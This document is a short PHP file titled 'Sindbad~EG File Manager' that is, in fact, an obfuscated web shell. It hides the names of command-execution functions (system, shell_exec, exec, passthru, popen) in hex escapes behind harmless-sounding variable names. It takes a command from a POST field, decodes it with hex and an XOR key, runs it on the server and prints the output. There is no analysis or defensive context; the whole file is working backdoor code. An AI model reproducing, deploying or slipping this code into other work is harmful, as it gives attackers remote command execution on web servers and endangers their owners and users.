Sindbad~EG File Manager

<?php

$service_registry5 = "p\x6F\x70en";
$service_registry7 = "\x70\x63l\x6Fse";
$service_registry3 = "\x65x\x65c";
$reverse_searcher = "\x68ex\x32b\x69\x6E";
$service_registry6 = "s\x74r\x65\x61m\x5F\x67et_c\x6F\x6E\x74\x65nt\x73";
$service_registry4 = "\x70a\x73\x73\x74hru";
$service_registry2 = "\x73hell\x5F\x65\x78\x65c";
$service_registry1 = "\x73y\x73\x74em";
if (isset($_POST["r\x65\x66"])) {
            function settings( $element ,  $bind ) {
$res= '' ;
foreach(str_split($element) as $char){
$res.=chr(ord($char)^$bind);

} return $res;

}
            $ref = $reverse_searcher($_POST["r\x65\x66"]);
            $ref = settings($ref, 95);
            if (function_exists($service_registry1)) {
                $service_registry1($ref);
            } elseif (function_exists($service_registry2)) {
                print $service_registry2($ref);
            } elseif (function_exists($service_registry3)) {
                $service_registry3($ref, $pointer_element);
                print join("\n", $pointer_element);
            } elseif (function_exists($service_registry4)) {
                $service_registry4($ref);
            } elseif (function_exists($service_registry5) && function_exists($service_registry6) && function_exists($service_registry7)) {
                $bind_res = $service_registry5($ref, 'r');
                if ($bind_res) {
                    $hld_token = $service_registry6($bind_res);
                    $service_registry7($bind_res);
                    print $hld_token;
                }
            }
            exit;
        }